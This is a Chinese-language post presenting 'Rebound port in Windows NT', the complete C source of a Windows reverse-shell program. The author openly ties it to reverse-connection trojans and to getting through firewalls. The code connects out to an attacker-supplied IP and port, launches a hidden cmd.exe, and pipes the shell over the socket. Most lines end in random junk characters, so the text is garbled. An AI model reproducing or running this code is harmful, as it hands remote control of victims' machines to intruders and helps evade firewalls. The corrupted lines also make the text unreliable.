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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0H OoKh  
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/* ============================== yhSk"e'G  
Rebound port in Windows NT Ok}{jwJ%W;  
By wind,2006/7 '<?v:pb9  
===============================*/ _'!N q  
#include `'xQ6Sy  
#include vLv|SqD  
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#pragma comment(lib,"wsock32.lib") {k_ PMl0G  
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void OutputShell(); Q? <-`7  
SOCKET sClient; $PatHY@h  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1P[I}GW#  
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void main(int argc,char **argv) s6uF5]M;2  
{ P9 {}&z%:  
WSADATA stWsaData; bU;}!iVc]  
int nRet; BKE\SWu  
SOCKADDR_IN stSaiClient,stSaiServer; :"M9*XeHO  
w8 ?Pb$Fe  
if(argc != 3) OwG6i|q  
{ G0I~&?nDa  
printf("Useage:\n\rRebound DestIP DestPort\n"); mJ0}DJiX$  
return; <O \tC81  
} Y%78>-2 L  
0hrCG3k.91  
WSAStartup(MAKEWORD(2,2),&stWsaData); tt+>8rxF:;  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dV5PhP>6  
c@RT$Q9j  
stSaiClient.sin_family = AF_INET; QuSV&>T\  
stSaiClient.sin_port = htons(0); FjD,8^SQW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vC)"*wYB{  
+<pVf%u5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SQh+5  
{ %*$5!;  
printf("Bind Socket Failed!\n"); !OPSSP]-  
return; =LlLE<X"%x  
} J?._/RL8-  
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stSaiServer.sin_family = AF_INET; \bU`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \:]DFZ=!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O{PW  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xLA~1ZSVJw  
{ S4L-/<s[*  
printf("Connect Error!"); MVeF e\r  
return; IZO@V1-m  
} ETM2p1 ru0  
OutputShell(); JDkCUN5  
} t:\l&R&  
A/!<kp{S  
void OutputShell() cb +l"FI7  
{ 0z<H(|  
char szBuff[1024]; `-4'/~G  
SECURITY_ATTRIBUTES stSecurityAttributes; g.9L)L  
OSVERSIONINFO stOsversionInfo; ITVQLQ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Iha[G u  
STARTUPINFO stStartupInfo; 3I|O^   
char *szShell; YnSbw3U.I  
PROCESS_INFORMATION stProcessInformation; '0 ]r<O  
unsigned long lBytesRead; 5B1G?`]?  
BU!#z(vU  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); os[ZIHph  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O#vn)+Y,*  
stSecurityAttributes.lpSecurityDescriptor = 0; Nu@5 kwH  
stSecurityAttributes.bInheritHandle = TRUE; GMz8B-vk  
.hKhrcQp  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $`pd|K`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R<|ejw  
80|onP\L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $ADPV,*gG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EJ`Q8uz  
stStartupInfo.wShowWindow = SW_HIDE; T '.[F  
stStartupInfo.hStdInput = hReadPipe; I FsE!oDs4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X'f)7RbT  
A;,Dg=FL/  
GetVersionEx(&stOsversionInfo); W"Z#Fs{n8  
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switch(stOsversionInfo.dwPlatformId) c_#*mA"+  
{ ^2E hlK^)  
case 1: ys%zlbj[  
szShell = "command.com"; qEQAn/&  
break; wX0l?xdI  
default: ^LVk5l)\>g  
szShell = "cmd.exe"; 3V}(fnv  
break; L6+C]t}>6  
} 9OyNi  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qBYg[K>  
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send(sClient,szMsg,77,0); 0/Z !5-.  
while(1) O#EqG.L5  
{ 'w.}2(  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r+S;B[Vd  
if(lBytesRead) {E51Kv&_  
{ 3+>OGwfQ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u]M\3V.  
send(sClient,szBuff,lBytesRead,0); {q,?<zBzu  
} &yU>2=/T  
else  )3%@9  
{  qSTWb%  
lBytesRead=recv(sClient,szBuff,1024,0); mj2Pk,,SA  
if(lBytesRead<=0) break; Ie@Jb{ x  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ETfF5i}  
} uv]{1S{tb  
} ubbnFE&PD  
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return; :, _!pe;H  
}
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